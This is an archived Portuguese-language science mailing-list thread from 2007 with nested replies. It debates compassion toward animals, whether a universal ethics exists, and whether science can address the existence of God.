Tenho enorme compaixão por cães, mas não exitaria em atropelar um
deles para evitar atropelar uma criança, você não?

Veja:

Murilo: "*Não é só* porque a lei da sobrevivência neste planeta manda
que uns morram para que outros vivam, num ciclo onde há lugar e vez
para todos, em que as espécies sobrevivem e os indivíduos passam, que
não deve haver emoção e sentimentos empáticos. ( isso responde
bastante do que vc quer saber. )"

Eu nunca disse algo REMOTAMENTE parecido com isso, Murilo, pode
perguntar ao resto da lista..:-). Nem é algo que "eu quero saber",
pois nunca disse nada disso.

Mais uma vez, entre salvar uma pessoa e 200 vacas, quem você salvaria,
Murilo?

Resumindo, penso que queria apenas puxar briga, por isso não respondi
a sua mensagem. Se não era isso, peço desculpas, e peço que explique
melhor o que deseja dizer ou argumentar, porque não pude entender.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Horáculo...
> Não foi a primeira vez, mas com certeza foi a última...
> Vc provocou e fugiu do pau.
> A partir de hoje, não leio vc suas pataquadas, mesmo dirigindo-se a mim.
> M. SP 21/março/2007
>
>
> >From: "murilo filo" <avalanchedrive@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
> >Date: Mon, 19 Mar 2007 22:56:11 -0300
> >
> >( + 1 tentativa p/o Horáculo dizer alguma coisa, mesmo espremido.)
> >
> >
> > >To: ciencialist@yahoogrupos.com.br
> > >Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
> > >Date: Sun, 18 Mar 2007 20:44:03 -0300
> > >
> > >Sim, Oráculo,
> > >vc já foi melhor.
> > >
> > >Compaixão e empatia é assim: vc tem ou não tem. Se não tem, fica
difícil
> > >entender.
> > >A lombriga e os ratos, os bodes, papagaios, leões, virus, ninguém tem
> > >compaixão... no máximo alguma solidariedade perante algum filhote
> >indefeso.
> > >
> > >Os seres humanos sim, COSTUMAM TER, e isso é AQUELE diferencial
entre nós
> >e
> > >as feras; e que deveria ser conservado e cultivado.
> > >
> > >*Não é só* porque a lei da sobrevivência neste planeta manda que uns
> >morram
> > >para que outros vivam, num ciclo onde há lugar e vez para todos,
em que
> >as
> > >espécies sobrevivem e os indivíduos passam, que não deve haver
emoção e
> > >sentimentos empáticos. ( isso responde bastante do que vc quer
saber. )
> > >
> > >Se eu tivesse nas mãos um produto para *erradicar* os ratos dos
esgotos,
> >ou
> > >as lombrigas e seus ovos de todas as bundas, fezes e águas, esteja
> >seguro,
> > >eu não o usaria, mesmo sendo eu o mais forte.
> > >
> > >E se eu fosse um político, que usa as pessoas e suas vidas como
matéria
> > >prima e massa de manobra, o que eu faria com as lombrigas, se
tivesse o
> > >hipotético produto? Logicamente, como político, se houvesse algum
> >proveito
> > >próprio, arrogantemente eu mataria qualquer coisa p/sempre.
> > >
> > >Mas acontece que BÁSICA e estruturalmente a cabeça da Bruna é a
mesma do
> > >político fera, ou qualquer outro brutal que anda por aí.
> > >
> > >A cabeça e a consciência da Bruna é que são muito mais depuradas,
mais
> > >elevadas e mais evoluídas, e isso deve ser cultivado e admirado, pq
> > >trata-se
> > >do seu diferencial perante as feras.
> > >
> > >Mesmo que a Bruna saiba, E SABE, que é impossível NÃO MATAR no
planeta,
> >ela
> > >busca uma solução, e este impulso de busca é o começo de qualquer
> >solução.
> > >TALVEZ ela mesma não tenha avaliado como é que surgem estas
coisas em sua
> > >mente benevolente, mas que é algo muito refinado, não há como negar.
> > >
> > >A matança vai continuar... nosso cérebro é energia pura... nossa
saúde
> >está
> > >cada vez melhor, mas graças às Brunas já existe UMA CONSCIÊNCIA
de que
> > >devemos matar apenas *o suficiente*, ou o *menos possível*.
> > >
> > >Ainda é querer muito de uma humanidade que também mata a sí
mesma, mas já
> > >podemos entender que NÃO se trata de algo impossível.
> > >abr/Murilo SP 18/març07
> > >
> > > >From: "oraculo333" <oraculo@...>
> > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > >To: ciencialist@yahoogrupos.com.br
> > > >Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais
> > > >Date: Sun, 18 Mar 2007 01:36:53 -0000
> > > >
> > > >Olá Murilo
> > > >
> > > >Murilo: "Caramba, Horáculo...
> > > >Vc já foi melhor! Frente à realidade estabelecida há milhões de
anos,
> > > >ela só está falando de algo denominado de ''empatia'', ou
> >''compaixão''."
> > > >
> > > >Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
> > > >quero saber é em que ponto devemos colocar a linha que divide a
> > > >aplicação concreta dessa compaixão.
> > > >
> > > >Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
> > > >daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?
> > > >
> > > >Em algum momento, sob pena de tornar o argumento absurdo, temos de
> > > >relativizar essa compaixão, não?
> > > >
> > > >Agora, o que a realidade de milhões de anos tem a ver com esta
> > > >questão? Também não é uma pergunta retórica, eu realmente
queria saber
> > > >sua resposta sobre isso.
> > > >
> > > >Por exemplo, as doenças se desenvolvem e evoluem há milhões de
anos, e
> > > >nenhum dos seres vivos que as causam tem a menor compaixão ou
mesmo a
> > > >menor idéia do que isso seja.
> > > >
> > > >Um abraço.
> > > >
> > > >Homero
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > > ><avalanchedrive@> escreveu
> > > > >
> > > > > Caramba, Horáculo...
> > > > > Vc já foi melhor!
> > > > > Frente à realidade estabelecida há milhões de anos, ela só está
> > > >falando de
> > > > > algo denominado de ''empatia'', ou ''compaixão''.
> > > > > abr/M.
> > > > >
> > > > >
> > > > > >From: "oraculo333" <oraculo@>
> > > > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > > > >To: ciencialist@yahoogrupos.com.br
> > > > > >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> > > > > >Date: Sat, 17 Mar 2007 19:36:14 -0000
> > > > > >
> > > > > >Olá Bruna
> > > > > >
> > > > > >Bruna: "A ética universal está na razão de darmos a mesma a
> > > > > >consideração ao sofrimento de outros seres como damos ao nosso
> > >próprio
> > > > > >sofrimento, independente da espécie, do sexo e das habilidades
> > > > > >intelectuais."
> > > > > >
> > > > > >Primeiro, permita-me perguntar, Por que? Por que é assim? E
se eu
> >não
> > > > > >acreditar em você, como pretende provar que é assim? Ou é
apenas
> >uma
> > > > > >questão de crença, devemos acreditar em você e pronto?
> > > > > >
> > > > > >Quer dizer, de onde tirou tal informação, que é uma das mais
> > > > > >importantes e mais polêmicas da filosofia, a existência ou
não de
> >uma
> > > > > >ética universal? Como só você encontrou a resposta, que tem
> >dividido
> > >e
> > > > > >assombrado filósofos por séculos?
> > > > > >
> > > > > >Seria interessante saber como chegou a essa conclusão, o que a
> > >embasa,
> > > > > >quais as evidências, etc. Poderia resolver grandes problemas
> > > > > >filosóficos do ser humano.
> > > > > >
> > > > > >Em segundo, fiquei curioso com este trecho em especial, em
relação
> >a
> > > > > >parte prática, a forma de aplicar esse, generoso, princípio:
> > > > > >
> > > > > >Bruna: "independente da espécie, do sexo e das habilidades
> > > >intelectuais."
> > > > > >
> > > > > >Todos os seres vivos, independente da espécie? E das
habilidades
> > > > > >intelectuais? Por exemplo, baratas estão incluídas, e
devemos agir
> > > > > >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> > > > > >
> > > > > >E animais selvagens, devemos destruir todas as cidades,
para que
> > > > > >possam voltar a habitar seus ambientes originais?
> > > > > >
> > > > > >E ratos, devemos impedir que sejam mortos nas cidades,
pensando em
> > >sua
> > > > > >"dor"?
> > > > > >
> > > > > >Se eu tiver uma infecção de pele, devo evitar de aplicar
remédios
> >que
> > > > > >causem a morte dos micro-organismos que habitam ali? Se pegar
> > > > > >lombrigas, não posso tomar remédios que causem dor e morte
a elas?
> >As
> > > > > >pessoas que vivem em áreas da África assoladas por doenças como
> > > > > >elefantíase, não podem aplicar as drogas que matam as moscas
> > > > > >transmissoras?
> > > > > >
> > > > > >Por favor, não é uma pergunta retórica ou uma armadilha, eu
> >realmente
> > > > > >quero saber como pretende aplicar sua alegação a casos
concretos,
> >já
> > > > > >que não há nela nenhuma limitação ou forma de decidir a
linha de
> > > >"corte".
> > > > > >
> > > > > >Se considerarmos a dor de TODOS os seres vivos,
independentemente
> >de
> > > > > >qualquer outra coisa, espécie ou capacidade intelectual,
como devo
> > > > > >agir nos casos concretos que citei?
> > > > > >
> > > > > >Um abraço.
> > > > > >
> > > > > >Homero
> > > > > >
> > > > > >
> > > > > >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > > > > ><brunacribas@> escreveu
> > > > > > >
> > > > > > > A ética universal está na razão de darmos a mesma a
consideração
> > >ao
> > > > > >sofrimento de outros seres como damos ao nosso próprio
sofrimento,
> > > > > > > independente da espécie, do sexo e das habilidades
intelectuais.
> > > > > > >
> > > > > > > Abraços,
> > > > > > >
> > > > > > > da Bruna
> > > > > > >
> > > > > > >
> > > > > > > José Renato <jrma@> escreveu:
> > > > > >Chicão, sou-lhe grato pela troca de idéias. Mas vale
perguntar:
> >como
> > > > > >vamos
> > > > > > > achar a ética universal se não a procurarmos? Parece-me
que a
> > > > > >questão está
> > > > > > > muito menos em encontrá-la, do que na força necessária para
> > > > > >considerá-la e
> > > > > > > praticá-la. Estamos esgotados por tantas solicitações
que não
> >nos
> > > > > >sobra
> > > > > > > energia para sermos o que dizemos ser: homo
sapiens-sapiens.
> > > > > > > []s
> > > > > > > José Renato
> > > > > > > .............................................
> > > > > > >
> > > > > > > From: "Chicao Valadares" <chicaovaladares@To:
> > > > > > > <ciencialist@yahoogrupos.com.br>
> > > > > > > Sent: Monday, March 12, 2007 12:07 PM
> > > > > > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > > >
> > > > > > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > > > > > universal vamos ficar apenas nos achismos e no plano
> > > > > > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > > > > > história de escolha lembra aquele velho dilema entre
> > > > > > > > determinismo e acaso. Mas isso fica pra um outro
> > > > > > > > debate....
> > > > > > > >
> > > > > > > > Abraços.
> > > > > > > >
> > > > > > > > --- José Renato <jrma@> escreveu:
> > > > > > > >
> > > > > > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > > > > > >> nossa vida é construída,
> > > > > > > >> destruída ou mantida por permanentes escolhas que
> > > > > > > >> fazemos e pelas decisões
> > > > > > > >> que tomamos. Encontrar as melhores decisões e
> > > > > > > >> escolhas para cada situação é
> > > > > > > >> a pedra de toque que os sábios buscam há tempos.
> > > > > > > >> Como elas são praticamente
> > > > > > > >> infinitas alguns roteiros básicos são copilados para
> > > > > > > >> orientações gerais. Mas
> > > > > > > >> no particular, cada um vai ter de optar, escolher e
> > > > > > > >> decidir. Ou deixar que
> > > > > > > >> decidam por nós.
> > > > > > > >> Faço outros comentários no corpo do e-mail, após
> > > > > > > >> JR2, OK?
> > > > > > > >> ..............................................
> > > > > > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > > > > > >> <ciencialist@yahoogrupos.com.br>
> > > > > > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > > > > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > > > >>
> > > > > > > >>
> > > > > > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > > > > > >> >
> > > > > > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > > > > > >> O
> > > > > > > >> > atleta sofre muito durante a preparação para bater
> > > > > > > >> > seus recordes com a intenção de ter o prazer de
> > > > > > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > > > > > >> > valorização,
> > > > > > > >> > admiração, etc. Dor e prazer não são indicativos
> > > > > > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > > > > > >> caixa de
> > > > > > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > > > > > >> já
> > > > > > > >> > era perseguido por Sócrates com muito empenho.
> > > > > > > >> Perceba
> > > > > > > >> >
> > > > > > > >> > que buscar a felicidade, a glória e o gozo é o
> > > > > > > >> > objetivo maior e legítimo do ser humano. As
> > > > > > > >> > dificuldades ocorrem quando minha visão é curta e
> > > > > > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > > > > > >> > troca é prejudicial a
> > > > > > > >> > mim e a todos que uso ou despacho para obter a
> > > > > > > >> > felicidade a qualquer custo. Vou postar uma
> > > > > > > >> reflexão
> > > > > > > >> > que fiz sobre isso, provocada há tempos
> > > > > > > >> > pelo Bulcão, na lista Acropolis.
> > > > > > > >> >
> > > > > > > >> >>>>>>Concordo com a relatividade.
> > > > > > > >> >
> > > > > > > >> >
> > > > > > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > > > > > >> sua
> > > > > > > >> > existência passa a buscar viver de verdade, ter um
> > > > > > > >> amor de
> > > > > > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > > > > > >> e confortam
> > > > > > > >> > durante algum tempo. Mas o bom mesmo é
> > > > > > > >> > a realidade com todas as sua conseqüências.
> > > > > > > >> >
> > > > > > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > > > > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > > > > > >> saiba mais
> > > > > > > >> > verdades que uma pessoa comum. Com isso você
> > > > > > > >> pensaria
> > > > > > > >> > que conhece a realidade e seria bom para você.
> > > > > > > >> > Não gostaria de entrar na MATRIX???
> > > > > > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > > > > > >> sair dela, da geléia geral
> > > > > > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > > > > > >> meios de comunicação
> > > > > > > >> acionados pelos interesses comerciais e políticos.
> > > > > > > >> Viver na realidade ou na
> > > > > > > >> verdade dá mais segurança, harmonia,
> > > > > > > >> tranquilidade... O melhor em tudo é não
> > > > > > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > > > > > >> isso que a Ciência
> > > > > > > >> busca.
> > > > > > > >> >
> > > > > > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > > > > > >> diversas
> > > > > > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > > > > > >> melhores
> > > > > > > >> > momentos da vida vieram através da realidade e da
> > > > > > > >> > lucidez em percebê-la. Nela me realizo.
> > > > > > > >> >
> > > > > > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > > > > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > > > > > >> sair dela.
> > > > > > > >> >
> > > > > > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > > > > > >> > fazem... Quanto a não
> > > > > > > >> > ser punido ou não sentir remorsos não é uma
> > > > > > > >> certeza
> > > > > > > >> > obtida de antemão.
> > > > > > > >> > Quando menos se espera vem a tal crise existencial
> > > > > > > >> e
> > > > > > > >> > aí o cara se
> > > > > > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > > > > > >> > traidor, etc. e nem sabe
> > > > > > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > > > > > >> e
> > > > > > > >> > mentira.
> > > > > > > >> >
> > > > > > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > > > > > >> aquelas
> > > > > > > >> > que não sentem nenhum remorso em fazer ações
> > > > > > > >> > consideradas más.
> > > > > > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > > > > > >> conscientemente alguém gera
> > > > > > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > > > > > >> para mim" que vai geram um
> > > > > > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > > > > > >> estudos dos diversos
> > > > > > > >> órgãos ou componentes do nosso sistema cognitivo
> > > > > > > >> identifica-se regiões onde
> > > > > > > >> estão os "bancos de dados" e procedimentos de
> > > > > > > >> avaliação ética-moral. Célebre
> > > > > > > >> é o caso do trabalhador que sofreu dano no célebro
> > > > > > > >> provocado por um prego
> > > > > > > >> disparado por uma pistola pneumática. Penetrou na
> > > > > > > >> cabeça, mas ele continuou
> > > > > > > >> consciente e aparentemente não prejudicou em nada
> > > > > > > >> seus movimentos e
> > > > > > > >> atividades intelectuais. Após a remoção do prego,
> > > > > > > >> recuperação e volta ao
> > > > > > > >> trabalho, observou-se que o cara estava com um
> > > > > > > >> comportamento diferente,
> > > > > > > >> aético, entrão, imoral, inconveniente... A partir
> > > > > > > >> daí começou-se a fazer
> > > > > > > >> testes mais acurados sobre o funcionamento dessa
> > > > > > > >> região afetada e de outras
> > > > > > > >> regiões do cérebro.
> > > > > > > >> >
> > > > > > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > > > > > >> pode
> > > > > > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > > > > > >> > cruéis patológicos têm orgasmos ao praticar
> > > > > > > >> violência,
> > > > > > > >> > mas é um distúrbio mental que não me parece grande
> > > > > > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > > > > > >> minha
> > > > > > > >> > experiência de vida para discernir o que é melhor,
> > > > > > > >> o
> > > > > > > >> > que deve ser evitado e o que precisa ser superado,
> > > > > > > >> é
> > > > > > > >> > um exercício diário que requer tempo, coragem e
> > > > > > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > > > > > >> outros
> > > > > > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > > > > > >> que tenha
> > > > > > > >> > alguma chance de obter melhores resultados...
> > > > > > > >> >
> > > > > > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > > > > > >> você
> > > > > > > >> > disse é relativo.
> > > > > > > >> JR2 - Em sã consciência somos capazes das maiores
> > > > > > > >> crueldades e das maiores
> > > > > > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > > > > > >> fazer alguma ignomínia.
> > > > > > > >> Basta estar na situação adequada para praticá-la. E
> > > > > > > >> como sempre consideramos
> > > > > > > >> algum ponto de referência pode estar certo que não
> > > > > > > >> só o resto como tudo o
> > > > > > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > > > > > >> um ponto ótimo
> > > > > > > >> inatingível como referência ou norte.
> > > > > > > >> >
> > > > > > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > > > > > >> ilude
> > > > > > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > > > > > >> > sofistica as formas burlar, de modo a ser à prova
> > > > > > > >> de
> > > > > > > >> > qualquer investigação, até que alguém de dentro do
> > > > > > > >> > esquema se sente enganado e, antes de ser
> > > > > > > >> eliminado,
> > > > > > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > > > > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > > > > > >> >
> > > > > > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > > > > > >> > ficarem sob segredo.
> > > > > > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > > > > > >> ser
> > > > > > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > > > > > >> mau
> > > > > > > >> > também pode ser vantajoso ao invés de ser bom.
> > > > > > > >> Note
> > > > > > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > > > > > >> jogos).
> > > > > > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > > > > > >> > esse principio você é igual às siglas. [ ... ]
> > > > > > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > > > > > >> longo prazo quando todos
> > > > > > > >> ganham, e essa possibilidade deve ser considerada e
> > > > > > > >> buscada permanentemente.
> > > > > > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > > > > > >> tirar o que vc já
> > > > > > > >> ganhou prejudicando ou não prejudicando outras
> > > > > > > >> pessoas. Esse é o normal na
> > > > > > > >> maioria das nossas comunidades.
> > > > > > > >>
> > > > > > > > === message truncated ===
> > > > > > > >
> > > > > > > >
> > > > > > > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > > > > > > O que há é pouca gente para dar por isso... "
> > > > > > > > Fernando Pessoa - Poesias de Alvaro Campos
> > > > > > > >
> > > > > > > >
__________________________________________________________
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> > > > > > > > Version: 7.5.446 / Virus Database: 268.18.9/719 -
Release
> >Date:
> > > > > >12/3/2007
> > > > > > > > 08:41
> > > > > > > >
> > > > > > >
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SUBJECT: Re: [ciencialist] P/ Alvaro - : Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 10:06

Homero; [ Da mesma forma como "pode ser que exista" Papai Noel, mas devido a
falta de evidências dessa existência justifica que nos comportemos "como se
não existisse" Papai Noel, também podemos nos comportar como se deus não
existisse, em especial em ciência ou fazendo ciência. ]
...........................................................

Olá, Homero! Quando é que vc vai entender que o Papai Noel existe? As
crianças sabem disso... Muitos adultos sabem disso... Afinal, quem é que
lhes dá presentes no Natal?
Vou repetir: o que não existe é o Papai Noel que vc imaginou quando criança.
O que existe são papais-noéis e mamães-noéis com a cara do papai e da mamãe,
tios e tias-noéis, amigo-noel, esposo e esposa-noéis... Esses existem e
fazem a festa dos comerciantes no Natal. Perceba que o imaginado geralmente
não corresponde à realidade ou nem tem existência física...
O que é preciso fazer é adequar o nome à pessoa ou ao objeto da nossa
imaginação.
[]s
José Renato
................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 21, 2007 9:43 PM
Subject: [ciencialist] P/ Alvaro - : Sobre o Método Cientifico - adinfinitum


Olá Alvaro

Alvaro: "Em minha opinião, a melhor resposta de um cientista ou
simpatizante, quando questionado sobre a existência de deus, é a
seguinte: "Nunca vi evidência da existência nem da não-existência de
deus, portando NÃO TENHO CONDIÇÕES DE AFIRMAR SE EXISTE OU NÃO.""

Se tiver a bondade de reler as respostas que temos postado ao Ferrari,
vai perceber que EM TODAS ELAS é justamente isso que é defendido, que
não há evidências que suportem essa alegação de existência..:-)

Não temos evidências de existência de seres sobrenaturais ou divinos.
Pode ser que existam? Tudo pode ser que exista, mas, nem tudo tem a
mesma probabilidade de existir.

Da mesma forma como "pode ser que exista" Papai Noel, mas devido a
falta de evidências dessa existência justifica que nos comportemos
"como se não existisse" Papai Noel, também podemos nos comportar como
se deus não existisse, em especial em ciência ou fazendo ciência.

Note que são os que crêem na divindade de sua preferência que afirma,
com todas as letras "saber" que ele existe, como pensa, o que deseja,
etc. A ciência, e nós na lista, alegamos apenas que não é uma
conclusão válida, baseada em evidências. Acredita quem quer, seja em
deuses, seja no Papai Noel, ou em duendes.

Como tentamos explicar ao Ferrari, a falta de evidências que permita
uma explicação científica NÃO significa que se possa adotar outra
explicação qualquer, igualmente sem evidências.

Com certeza, Alvaro, muitas coisas podem existir sem que "caibam em
nossa cabeça", mas justamente por isso é preciso cuidado e rigor ao
analisar e concluir: como separar algo que não cabe em nossa cabeça,
mas não existe, de algo que não cabe em nossa cabeça, mas existe?

Elementos e fenômenos que não apresentam evidências de existir não
podem, nem devem, ser levados em consideração nas escolhas, atos e
desdobramentos, por uma questão de racionalidade e confiabilidade.

Alvaro: "Qualquer afirmação tomada por verdadeira supõe que sua
negativa é falsa."

É uma regra de lógica que um argumento não pode ser contraditório, ou
seja, não pode conter premissas ou conclusões conflitantes. Mas isso
não significa o que parece pensar, pela frase acima. Acreditar que
deus existe, claro, significa não acreditar que deus NÃO existe, mas
não ver evidências dessa existência não é o mesmo que acreditar que
deus não existe.

É apenas ter como irrelevante essa existência, já que não pode ser
detectada ou analisada (e, portanto, não se pode decidir o que essa
entidade deseja ou pretende). Como disse o saudoso Carl Sagan, qual a
diferença entre um dragão invisível que cospe fogo frio e é
indetectável de toda forma conhecida, e NENHUM dragão?

Alvaro: "O problema é que com essa resposta não teríamos discussões
interessantes como essa que tenho acompanhado."

Está enganado, não é esse o problema, como as mensagens anteriores
mostram. O problema é que esta resposta NÃO satisfaz os que crêem, que
acreditam que existe uma divindade. Por isso preferem opor sua crença
a uma pretensa "crença inversa", na inexistência de divindades.

Alvaro: "mas não acredito que a ciência, por ser produto de nossas
mentes, possa decidir sobre existência ou não de um deus ou como
quiserem chamá-lo."

Não há essa pretensão, pela ciência, de provar que deus não existe,
nem que existe. A própria definição de deus o coloca fora do alcance e
escopo da ciência.

Mas esta pode, e deve, analisar qualquer evidência material, concreta,
que seja apresentada para demonstrar essa existência. E pode concluir,
como tem concluído, que não há evidências a suportar essa alegação.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Álvaro Antpack"
<alvaro_antpack@...> escreveu
>
> Senhores,
>
> se me permitem um pitaco, depois de muito tempo sem participar de
discussões
> da lista (4 anos?)...
>
> Não sou religioso, mas não acredito que a ciência, por ser produto
de nossas
> mentes, possa decidir sobre existência ou não de um deus ou como
quiserem
> chamá-lo.
>
> Era uma vez uma bactéria, que tinha ouvido falar de um ser
grandioso, que
> podia decidir seu futuro, se quisesse (ok, bactérias não conversam, nem
> "ouvem falar", mas tenham paciência com minha analogiazinha
caseira). Mas
> não acreditava. Não tinha qualquer prova de sua existência. Vivia em seu
> meio, entre outras bactérias, durante sua longa existência (algumas
horas,
> ou dias, sei lá), e nunca viu nenhuma prova da existência do tal
"humano".
>
> Essa bactéria vivia na meleca grudada num pêlo do nariz do
Joãozinho, que
> foi se lavar no banheiro e lá se foi a bactéria pelo ralo da pia.
Ela nem
> tomou conhecimento, foi parar no esgoto sem saber, onde acabou se
> reproduzindo através de mitose (se dividiu no meio e digamos que
"morreu").
>
> A idéia do tal humano simplesmente não cabia em sua "cabeça".
>
> Creio que podem, sim, existir coisas que não temos condições de
compreender.
> Coisas que podem ser muito maiores do que nós, e simplesmente não
caber em
> nossa cabeça. Tente imaginar o tão comentado Universo de 4, 10 ou 11
> dimensões. Ok, a matemática explica e consegue tratar desse assunto, mas
> quem garante que todos os assuntos podem ser tratados matematicamente e
> fisicamente? Quem sabe podem existir "coisas" que não cabem na nossa
cabeça,
> nem na da matemática, nem na da física?
>
> A ciência pode e deve questionar a existência de tudo que não tenha
> evidência, mas não deve afirmar que tal e tal coisa não existe, só
por falta
> de evidências. A navalha de Occam pode ser útil, mas é só um
princípio. E
> será que é aplicável nesse assunto? Afinal, estamos aqui,
discutindo. Viemos
> de algum lugar. Ok, a vida surgiu a partir de reações químicas. E as
reações
> vieram de onde? E esse "onde" veio de onde? Simplesmente, por mais que
> avancemos no sentido de entender nossas origens, provavelmente jamais
> chegaremos à causa última de nossa existência.
>
> Se viesse alguém nesta lista dizendo que deus não existe, deveria ser
> igualmente questionado. Qualquer afirmação tomada por verdadeira
supõe que
> sua negativa é falsa. E em qualquer caso o cientista deve procurar
> evidências, testar a tese e tentar fazer previsões com ela antes de
> aceitá-la. Mas CADÊ A EVIDÊNCIA?
>
> Em minha opinião, a melhor resposta de um cientista ou simpatizante,
quando
> questionado sobre a existência de deus, é a seguinte: "Nunca vi
evidência da
> existência nem da não-existência de deus, portando NÃO TENHO
CONDIÇÕES DE
> AFIRMAR SE EXISTE OU NÃO." E essa resposta delega a decisão somente
à fé,
> que em minha opinião nada tem que ver com ciência.
>
> O problema é que com essa resposta não teríamos discussões interessantes
> como essa que tenho acompanhado.
>
> Abraço...
>
> Álvaro
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




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No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 268.18.16/729 - Release Date: 21/3/2007
07:52



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 10:27

Ferrari: [A ciência pode e deve questionar a existência de tudo que não
tenha evidência, mas não deve afirmar que tal e tal coisa não existe, só por
falta de evidências. ]

Jeff: [ Não deve mesmo. Cientistas sérios e sensatos não devem ser assim. E
não devem também dar atenção pra quem diz que tal coisa existe sem ter
evidências, não concorda? ]
...........................................................................

José Renato comenta: Há bastante evidência que o Universo existe. São nessas
evidências que nos devemos basear para questionamentos, inferições,
experimentos, pesquisas, teorias, expectativas, etc... Nem todos percebem as
mesmas coisas e investe tempo e trabalho para elucidar o que está por trás
de, às vezes, tão poucas evidências percebidas. Caso contrário, ainda
estaríamos imaginando que estamos "parado" e os astros é que giram ao redor
da Terra; que o mundo se resume às terras onde habitamos e às insondáveis
águas que nos cercam; que anti-matéria não existe; e que a Ciência já é
capaz de esclarecer tudo o que ocorre no Universo e realizar toda e qualquer
experiência de fenômenos possíveis existentes no Universo.
[]s
José Renato

----- Original Message -----
From: "Jefferson" <jeff@jeff.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 21, 2007 9:49 PM
Subject: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico -
adinfinitum


> Olá Álvaro,
>
>>
>>Não sou religioso, mas não acredito que a ciência, por ser produto de
>>nossas
>>mentes, possa decidir sobre existência ou não de um deus ou como quiserem
>>chamá-lo. Creio que podem, sim, existir coisas que não temos condições de
>>compreender.
>>Coisas que podem ser muito maiores do que nós, e simplesmente não caber em
>>nossa cabeça. Quem sabe podem existir "coisas" que não cabem na nossa
>>cabeça, nem na da matemática, nem na da física?
>>
>
> Concordo. A ciência se limita em nossa capacidade de raciocínio.
>
>>
>>A ciência pode e deve questionar a existência de tudo que não tenha
>>evidência, mas não deve afirmar que tal e tal coisa não existe, só por
>>falta
>>de evidências.
>>
>
> Não deve mesmo. Cientistas sérios e sensatos não devem ser assim. E não
> devem também dar atenção pra quem diz que tal coisa existe sem ter
> evidências, não concorda?
>
>>
>>Viemos de algum lugar. Ok, a vida surgiu a partir de reações químicas. E
>>as
>>reações
>>vieram de onde? E esse "onde" veio de onde? Simplesmente, por mais que
>>avancemos no sentido de entender nossas origens, provavelmente jamais
